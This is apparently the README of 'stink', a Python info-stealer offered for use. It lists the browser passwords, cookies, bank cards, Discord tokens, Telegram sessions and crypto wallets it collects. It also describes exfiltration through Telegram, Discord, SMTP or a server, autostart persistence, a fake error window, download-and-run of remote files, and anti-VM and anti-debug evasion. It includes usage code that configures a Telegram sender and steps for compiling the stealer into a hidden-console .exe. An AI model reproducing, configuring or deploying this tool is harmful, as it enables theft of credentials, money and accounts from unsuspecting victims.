Stealer in just a few lines with sending to Telegram / Server / Discord / SMTP. No dependencies, only built-in libraries.
Wiki: https://github.com/FallenAstaroth/stink/wiki
The stink
already has an impressive functionality that will only expand.
- Support for the following browsers:
- Chrome
- Opera
- Opera GX
- Edge
- Brave
- Vivaldi
- Yandex (Partially)
- Collecting the following data:
- Screenshot
- Cookies
- Passwords
- Bank cards
- History
- Bookmarks
- IP-address
- System configuration
- Active processes
- Discord tokens
- Telegram sessions
- FileZilla hosts
- Crypto wallets:
- Metamask
- Phantom
- Atomic
- Exodus
- Other 10 wallets
- Steam configs
- Built-in sending methods:
- Telegram
- Server
- Discord
- SMTP
- Support for browser multiprofiles.
- Execution in a separate thread.
- Execution using multiprocessor.
- Possibility to add to autostart.
- Showing a window with a fake error.
- Execution without creating any files.
- Downloading and launching files by link.
- Collecting files of the specified format in the specified directories.
- Stopping work on virtual machines and when trying to debug.
from stink import Stealer, Senders
if __name__ == '__main__':
Stealer(senders=[Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)]).run()
An example with only system data collection and screenshot.
from stink import Stealer, Features, Senders
if __name__ == '__main__':
Stealer(
senders=[
Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)
],
features=[
Features.system,
Features.screenshot
]
).run()
-
features
- list of modules fromstink.Features
:-
passwords
- collecting passwords. -
cookies
- collecting cookies. -
cards
- collecting bank cards. -
history
- collecting search history. -
bookmarks
- collecting bookmarks. -
extensions
- collecting browser extensions. -
processes
- collecting active processes. -
system
- collecting system configuration. -
screen
- screenshot. -
discord
- collecting Discord tokens. -
telegram
- collecting Telegram sessions. -
filezilla
- collecting FileZilla hosts. -
wallets
- collecting crypto wallets. -
steam
- collecting Steam configs.
-
-
utils
- list of utilities fromstink.Utils
:-
autostart
- adding to autostart. -
message
- showing a fake error window.
-
-
protectors
- list of protectors fromstink.Protectors
:-
processes
- checking processes for presence of debugging programs and virtual machines. -
mac_address
- checking MAC addresses for blacklisting. -
computer
- checking PC name for blacklisting. -
user
- checking username for blacklisting. -
hosting
- checking if PC is hosted. -
http_simulation
- checking for HTTP simulation. -
virtual_machine
- checking for virtual machine. -
disable
- complete disabling of all checks. -
all
- enabling of all checks.
-
-
senders
- list of sending methods fromstink.Senders
: -
loaders
- list of file loaders fromstink
:Loader
- universal loader.
-
grabbers
- list of file grabbers fromstink
:Grabber
- universal grabber.
Python is an interpreted programming language, so we first translate it into C and then compile it into an .exe file. We will need Nuitka to do this.
- Download archive.
- Unpack the archive and go to the directory stink-master.
- Create test.py (or any other name) file in the same directory with the following code:
from stink import Stealer, Senders
if __name__ == '__main__':
Stealer(senders=[Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)]).run()
- Run compiler.bat.
- Open
cmd
. - Type in the command:
pip install virtualenv
- Go to the folder with the
test.py
file:
cd path\to\file
- Create a virtual environment and activate it:
virtualenv venv
venv\Scripts\activate
- Install the Nuitka:
pip install Nuitka
- To reduce the file size, additionally install Zstandard (optional):
pip install zstandard
- Write the command:
nuitka --onefile --plugin-enable=multiprocessing --windows-disable-console test.py
After executing the command we get the test.exe file with the hidden console.